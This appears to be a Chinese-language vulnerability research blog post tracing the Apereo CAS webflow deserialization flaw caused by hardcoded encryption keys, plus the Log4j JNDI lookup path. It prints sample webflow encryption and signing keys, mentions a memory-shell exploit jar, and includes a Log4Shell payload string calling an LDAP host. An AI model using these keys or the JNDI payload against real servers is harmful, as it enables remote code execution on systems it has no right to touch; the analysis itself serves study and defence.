Apereo CAS反序列化

Posted by Azeril on June 27, 2024

1、漏洞描述

Apereo Cas一般是用来做身份认证的,所以有一定的攻击面,漏洞的成因是因为key的默认硬编码,导致可以通过反序列化配合Gadget使用。

通过路由404报错查看版本:https://cas.example.com/cas/iwana404;)

2、环境搭建

x:\资料\蓝凌ekp

这里下载地址,直接选择对应的版本,选择war进行下载,然后导入到tomcat中,运行即可。

直接下载war包,tomcat启动即可 如果想要调试的话,catalina.bat中加上监听端口然后启动 image-20240628125945743

然后用idea远程Debug链接即可 image-20240628130014481

image-20240628130023274

Apereo CAS 4.1.X ~ 4.1.6

当前测试版本4.15 ,大概流程就是对execution这个参数经过解密方式然后进行了readObject(),然后通过cmd进行回显。 这里和之前跟过的JSF框架中的viewstate反序列化很相似。

image-20240628113517215

image-20240628113604031

经过一系列转发,会来到FlowHandlerAdapter#handle方法中

image-20240628114404010

进入DefaultFlowUrlHandler#getFlowExecutionKey()image-20240628114842379

然后进入resumeExecution()中,参数为(参数的值,上下文) image-20240628115038169

然后转换为字节流

image-20240628135822485

然后对解密的数据进行了反序列化(看不看解密流程意义不大,因为加密和解密在AbstractCipherBean中encrypt和decrypt) image-20240628141832031

调用链子

image-20240628141900845

分析漏洞成因

image-20240701103728773

这里调用了HandlerAdapter(处理器适配器),也就是spring-webflow-2.4.1.RELEASE.jar中的FlowExecutorImpl#resumeExecution image-20240701103832210

进而调用 spring-webflow-client-repo-1.0.0.jar的 getFlowExecution方法

image-20240701105525879

出现的小问题

在本地自己编写exp测试的时候发现,只有加上了这个uuid_的才会反序列化成功,疑惑了很久跟一下流程:

image-20240701134928729

这里会调用resumeExecution方法flowExecutionKey的值,就是传入的恶意序列化 image-20240701135035907

继续调用 parseFlowExecutionKey方法 image-20240701135301878

继续调用parse方法 image-20240701135340908

取出uuid的值,然后把uuid后面的值进行base64解密 image-20240701135746361

然后后面就是,取出后半段的data,然后进行解密操作。 image-20240701135919676

加密的主要方式就是 EncryptedTranscoder这个类 image-20240701141131581

重要的是这个keyStore硬编码密钥 加解密相关的配置会先去配置文件中获取,没有配置密钥信息的会使用jar包默认的密钥信息(默认keystore文件位于spring-webflow-client-repo-1.0.0.jar包当中)。

image-20240701141155493

image-20240701141307086

然后可以发现看的这个工具是直接生成了一个带回显的内存马,自己尝试一下:

我自己的想法就是,找到一个上下文context对象,然后把里面的request和response对象提取出来即可

image-20240701145935025

这里也是参考其它师傅的文章

image-20240701150826277

Apereo CAS 4.1.7 ~ 4.2.X

image-20240702133412049

高版本的依赖去掉了commmons-collections4.但是加了 C3p0和CB的依赖

高版本的额话就是密钥可以从cas.properties中设置

image-20240702135918870

直接打出现的报错

image-20240702154007872

通过设置cas.properties中的字段

warn.cookie.secure=0
webflow.encryption.key=K81v0XNPR2tZKuJA
webflow.signing.key=WlNYnlAlHRtPPPS6rygh5y_-7H1UTzAtJHVpzFoWyogANdoxd99LdjmLEuDKzPeo5Q5IB40zWcteAkDglHy2ZA

打算进行二开

cas_exploit-1.0-SNAPSHOT-all.jar

根据别人的jar包,分析了一下,发现上面报错的原因是密钥不正确

image-20240703135647002

发现已经给出了特有的密钥方法,只不过我没cas.properties就会赋值null,导致的报错 image-20240703140617793

解决!!! image-20240703140805099

Log4j

String message = "${jndi:ldap://127.0.0.1:1389/0xrsto}";
        logger.error("error info:{}",message);

从这里的error()—>msg.formatTo 将源代码中的message替换{}

image-20240708161046219

就是首先找${ 然后进入另一个循环找 }截取中间的值,

进入StrSubstitutor类resolveVariable方法

获取变量解析器 image-20240708161831935

最后调用前缀. jndi.l

在strLookupMap中键名为”jndi”的值为JndiLookup对象,进入JndiLookup类的lookup方法

三个关键点:

  1. 在PatternLayout类的toSerializable方法中,调用MessagePatternConverter的format方法,这个方法是一个格式化的过程,将格式化的内容添加到workingBuilder中,也就是将源代码中的message替换{},同时匹配字符串中是否存在${}占位符,并使用config.getStrSubstitutor().replace进行替换
  2. 在StrSubstitutor类的substitute方法中,提取${}中的内容,并调用StrSubstitutor类resolveVariable方法对其解析
  3. 在Interpolator类的lookup方法中,根据前缀在map中获取对应的StrLookup对象,然后调用其lookup方法,这里的前缀为jndi,所以获取的是JndiLookup对象,然后调用其lookup方法,这个方法调用了jndiManager.lookup方法

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。